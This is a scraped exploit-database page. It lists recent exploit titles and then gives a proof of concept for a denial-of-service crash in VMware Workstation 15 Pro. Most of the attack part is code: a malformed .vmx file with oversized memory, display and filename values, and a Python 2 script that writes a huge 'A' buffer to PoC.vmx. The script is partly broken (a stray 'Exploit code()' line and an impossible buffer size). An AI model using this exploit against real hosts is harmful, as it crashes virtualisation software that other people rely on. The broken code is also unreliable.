6bc7a6f9b0
25 changes to exploits/shellcodes/ghdb ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) Tapo C310 RTSP server v1.3.0 - Unauthorised Video Stream Access ZKTeco ZEM/ZMM 8.88 - Missing Authentication Hashicorp Consul v1.0 - Remote Command Execution (RCE) X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) OPSWAT Metadefender Core - Privilege Escalation Pega Platform 8.1.0 - Remote Code Execution (RCE) Beauty-salon v1.0 - Remote Code Execution (RCE) BoxBilling<=4.22.1.5 - Remote Code Execution (RCE) iBooking v1.0.8 - Arbitrary File Upload Jetpack 11.4 - Cross Site Scripting (XSS) Moodle LMS 4.0 - Cross-Site Scripting (XSS) Online shopping system advanced 1.0 - Multiple Vulnerabilities rukovoditel 3.2.1 - Cross-Site Scripting (XSS) Senayan Library Management System v9.5.0 - SQL Injection Social-Share-Buttons v2.2.3 - SQL Injection Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) YouPHPTube<= 7.8 - Multiple Vulnerabilities Label Studio 1.5.0 - Authenticated Server Side Request Forgery (SSRF) SuperMailer v11.20 - Buffer overflow DoS Tunnel Interface Driver - Denial of Service VMware Workstation 15 Pro - Denial of Service HDD Health 4.2.0.112 - 'HDDHealth' Unquoted Service Path SugarSync 4.1.3 - 'SugarSync Service' Unquoted Service Path
127 lines
No EOL
3.2 KiB
Text
127 lines
No EOL
3.2 KiB
Text
#Title: VMware Workstation 15 Pro - Denial of Service
|
||
#Author: Milad Karimi
|
||
#Date: 2022-10-17
|
||
#Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 15 Pro (15.5.6 build-16341506)
|
||
#Affected: VMware Workstation Pro/Player 15.x
|
||
|
||
|
||
config.version = "8"
|
||
virtualHW.version = "4"
|
||
displayName = "credit's to Ex3ptionaL for find this vouln"
|
||
annotation = "Live CD ISO http://www.irongeek.com"
|
||
guestinfo.vmware.product.long = "credit's to Ex3ptionaL for find this vouln"
|
||
guestinfo.vmware.product.url = "http://www.millw0rm.com"
|
||
guestinfo.vmware.product.short = "LCDI"
|
||
guestinfo.vmware.product.version.major = "1"
|
||
guestinfo.vmware.product.version.minor = "0"
|
||
guestinfo.vmware.product.version.revision = "0"
|
||
guestinfo.vmware.product.version.type = "release"
|
||
guestinfo.vmware.product.class = "virtual machine"
|
||
guestinfo.vmware.product.build = "1.0.0rc8-20051212"
|
||
uuid.action = "create"
|
||
guestOS = "winxppro"
|
||
#####
|
||
# Memory
|
||
#####
|
||
memsize = "20000000000000"
|
||
# memsize = "300000000000000000000000000000"
|
||
# memsize = "400000000000000000000"
|
||
# memsize = "700000000000000000000000000000000000"
|
||
#
|
||
# Alternative larger memory allocations
|
||
#####
|
||
# USB
|
||
#####
|
||
usb.present = "TRUE"
|
||
#####
|
||
# Floppy
|
||
#####
|
||
floppy0.present = "FALSE"
|
||
#####
|
||
# IDE Storage
|
||
#####
|
||
ide1:0.present = "TRUE"
|
||
#Edit line below to change ISO to boot from
|
||
ide1:0.fileName = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.iso"
|
||
ide1:0.deviceType = "cdrom-image"
|
||
ide1:0.startConnected = "TRUE"
|
||
ide1:0.autodetect = "TRUE"
|
||
#####
|
||
# Network
|
||
#####
|
||
ethernet0.present = "TRUE"
|
||
ethernet0.connectionType = "nat"
|
||
# ethernet0.connectionType = "bridged"
|
||
#
|
||
# Switch these two to enable "Bridged" vs. "NAT"
|
||
#####
|
||
# Sound
|
||
#####
|
||
sound.present = "TRUE"
|
||
sound.virtualDev = "es1371"
|
||
sound.autoDetect = "TRUE"
|
||
sound.fileName = "-1"
|
||
#####
|
||
# Misc.
|
||
#
|
||
# (normal) high
|
||
priority.grabbed = "high"
|
||
tools.syncTime = "TRUE"
|
||
workingDir = "."
|
||
#
|
||
# (16) 32 64
|
||
sched.mem.pShare.checkRate = "32"
|
||
#
|
||
# (32) 64 128
|
||
sched.mem.pshare.scanRate = "64"
|
||
#
|
||
# Higher resolution lockout, adjust values to exceed 800x600
|
||
svga.maxWidth = "8000000000000000000"
|
||
svga.maxHeight = "6000000000000000000"
|
||
#
|
||
# (F) T
|
||
isolation.tools.dnd.disable = "FALSE"
|
||
#
|
||
# (F) T
|
||
isolation.tools.hgfs.disable = "FALSE"
|
||
#
|
||
# (F) T
|
||
isolation.tools.copy.disable = "FALSE"
|
||
#
|
||
# (F) T
|
||
isolation.tools.paste.disable = "FALSE"
|
||
#
|
||
# (T) F
|
||
logging = "TRUE"
|
||
#
|
||
#
|
||
# (F) T
|
||
log.append = "FALSE"
|
||
#
|
||
# (3) number of older files kept
|
||
log.keepOld = "1"
|
||
#
|
||
# (0) microseconds
|
||
keyboard.typematicMinDelay = 100000000000000000
|
||
uuid.location = "56 4d f1 ae 7b ed fe a2-e2 0d 49 3d 6d 3c d4 4a"
|
||
uuid.bios = "56 4d f1 ae 7b ed fe a2-e2 0d 49 3d 6d 3c d4 4a"
|
||
ethernet0.addressType = "generated"
|
||
ethernet0.generatedAddress = "00:0c:29:3c:d4:4a"
|
||
ethernet0.generatedAddressOffset = "0"
|
||
checkpoint.vmState = "live-cd-iso.vmss"
|
||
|
||
tools.remindInstall = "TRUE"
|
||
|
||
Exploit code()
|
||
|
||
buffer = "A" * 118000000000000000
|
||
payload = buffer
|
||
try:
|
||
f=open("PoC.vmx","w")
|
||
print "[+] Creating %s evil payload.." %len(payload)
|
||
f.write(payload)
|
||
f.close()
|
||
print "[+] File created!"
|
||
except:
|
||
print "File cannot be created"
|
||
|